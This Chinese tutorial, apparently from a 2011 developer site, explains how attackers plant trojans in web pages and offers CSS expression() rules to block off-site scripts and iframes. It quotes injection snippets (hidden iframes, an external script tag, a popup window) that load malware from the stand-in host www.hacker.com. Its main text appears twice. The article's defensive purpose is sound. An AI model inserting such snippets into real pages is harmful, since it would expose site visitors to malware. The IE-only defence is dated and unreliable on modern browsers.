防止網(wǎng)站被JS,iframe掛馬的防范方法
發(fā)布時(shí)間:2011-05-01 01:18:07 作者:佚名
我要評(píng)論

現(xiàn)在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網(wǎng)頁(yè)中,當(dāng)訪問(wèn)者在瀏覽網(wǎng)頁(yè)時(shí),惡意的掛馬腳本就會(huì)通過(guò)用戶的瀏覽器悄悄地打開網(wǎng)馬窗口,隱藏地運(yùn)行。
這種方法使用的關(guān)鍵代碼如下:
window.open("http://www.hacker.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
這種代碼往往很長(zhǎng),很容易被安全工程師發(fā)現(xiàn),而且沒有經(jīng)驗(yàn)的黑客也喜歡將“width”和“height=”參數(shù)設(shè)為“0”,但是設(shè)置為0后,可能會(huì)出現(xiàn)惡意代碼不運(yùn)行的情況。
另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網(wǎng)頁(yè)木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為后綴為.js的腳本文件,并上傳到自己指定的網(wǎng)址。這時(shí)黑客只需要在受害者的網(wǎng)站中寫入:
<script src="http://www.hacker.com/木馬腳本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="網(wǎng)頁(yè)木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地將木馬掛到了對(duì)方的網(wǎng)頁(yè)中了。
小提示:黑客還可以根據(jù)情況隨機(jī)變換插入的JS掛馬方法,例如黑客有可能會(huì)將腳本寫為:
<div style="behaviour: url(http://www.hacker.com/木馬腳本.js);">
或者:
<iframe src="vbscript:[掛馬腳本]">
等等……
防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當(dāng)前主流的,所以我們主要針對(duì)它進(jìn)行防御。方法就是阻止Src請(qǐng)求的異地外域的JS腳本,代碼如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
不過(guò)這種方法的缺點(diǎn)就是網(wǎng)站的訪問(wèn)者將不能看到被掛了JS木馬的相關(guān)網(wǎng)頁(yè)。
所以我們?yōu)榘踩こ處熖峁┝艘欢慰梢灾兄笿S腳本運(yùn)行的CSS代碼,這段代碼會(huì)讓異地外域的JS文件在使用document.write()時(shí),被document.close()強(qiáng)制關(guān)閉。這個(gè)時(shí)侯JS掛馬的內(nèi)容往往還沒有來(lái)得及寫完,只有部分被強(qiáng)制輸出了,Writer后面的內(nèi)容再不會(huì)被寫入訪問(wèn)者的電腦中,從而起到防范JS腳本掛馬的作用。
讓JS木馬的進(jìn)程迅速中止
在 <head> </head> 之間加入如下代碼:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
單屏蔽script
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
上面的代碼經(jīng)腳本之家測(cè)試,代碼是根據(jù)查找http一般情況下大家寫的js路徑,是帶有域名的,例如腳本之家使用的就是http://img.jb51.net/1.js那么也是無(wú)法運(yùn)行的,所以上面的代碼有一定的局限性。大家可以根據(jù)需要修改。
例如我們的地址都是img.jb51.net那么可以寫成
script{ngz1:expression((this.src.indexOf('jb51.net')==-1)?document.close():'');}
那么我們需要的就是將我們所以的js都寫成帶http://img.jb51.net的。如果你有更好的方法可以發(fā)布下。下面是我們給出的可能需要多重判斷
script{ngz1:expression(((this.src.indexOf('jb51.net')==-1)&&this.src.indexOf('http')==0)?document.close():'');}
window.open("http://www.hacker.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
這種代碼往往很長(zhǎng),很容易被安全工程師發(fā)現(xiàn),而且沒有經(jīng)驗(yàn)的黑客也喜歡將“width”和“height=”參數(shù)設(shè)為“0”,但是設(shè)置為0后,可能會(huì)出現(xiàn)惡意代碼不運(yùn)行的情況。
另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網(wǎng)頁(yè)木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為后綴為.js的腳本文件,并上傳到自己指定的網(wǎng)址。這時(shí)黑客只需要在受害者的網(wǎng)站中寫入:
<script src="http://www.hacker.com/木馬腳本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="網(wǎng)頁(yè)木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地將木馬掛到了對(duì)方的網(wǎng)頁(yè)中了。
小提示:黑客還可以根據(jù)情況隨機(jī)變換插入的JS掛馬方法,例如黑客有可能會(huì)將腳本寫為:
<div style="behaviour: url(http://www.hacker.com/木馬腳本.js);">
或者:
<iframe src="vbscript:[掛馬腳本]">
等等……
防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當(dāng)前主流的,所以我們主要針對(duì)它進(jìn)行防御。方法就是阻止Src請(qǐng)求的異地外域的JS腳本,代碼如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
不過(guò)這種方法的缺點(diǎn)就是網(wǎng)站的訪問(wèn)者將不能看到被掛了JS木馬的相關(guān)網(wǎng)頁(yè)。
所以我們?yōu)榘踩こ處熖峁┝艘欢慰梢灾兄笿S腳本運(yùn)行的CSS代碼,這段代碼會(huì)讓異地外域的JS文件在使用document.write()時(shí),被document.close()強(qiáng)制關(guān)閉。這個(gè)時(shí)侯JS掛馬的內(nèi)容往往還沒有來(lái)得及寫完,只有部分被強(qiáng)制輸出了,Writer后面的內(nèi)容再不會(huì)被寫入訪問(wèn)者的電腦中,從而起到防范JS腳本掛馬的作用。
讓JS木馬的進(jìn)程迅速中止
在 <head> </head> 之間加入如下代碼:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
單屏蔽script
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
上面的代碼經(jīng)腳本之家測(cè)試,代碼是根據(jù)查找http一般情況下大家寫的js路徑,是帶有域名的,例如腳本之家使用的就是http://img.jb51.net/1.js那么也是無(wú)法運(yùn)行的,所以上面的代碼有一定的局限性。大家可以根據(jù)需要修改。
例如我們的地址都是img.jb51.net那么可以寫成
script{ngz1:expression((this.src.indexOf('jb51.net')==-1)?document.close():'');}
那么我們需要的就是將我們所以的js都寫成帶http://img.jb51.net的。如果你有更好的方法可以發(fā)布下。下面是我們給出的可能需要多重判斷
script{ngz1:expression(((this.src.indexOf('jb51.net')==-1)&&this.src.indexOf('http')==0)?document.close():'');}
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來(lái)介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒有進(jìn)行足夠的檢測(cè)導(dǎo)致的一處getshell,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)
這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對(duì)于目前流行的sql注入,程序員在編寫程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過(guò)技術(shù) XSS插入繞過(guò)一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類2016-12-27Python 爬蟲使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08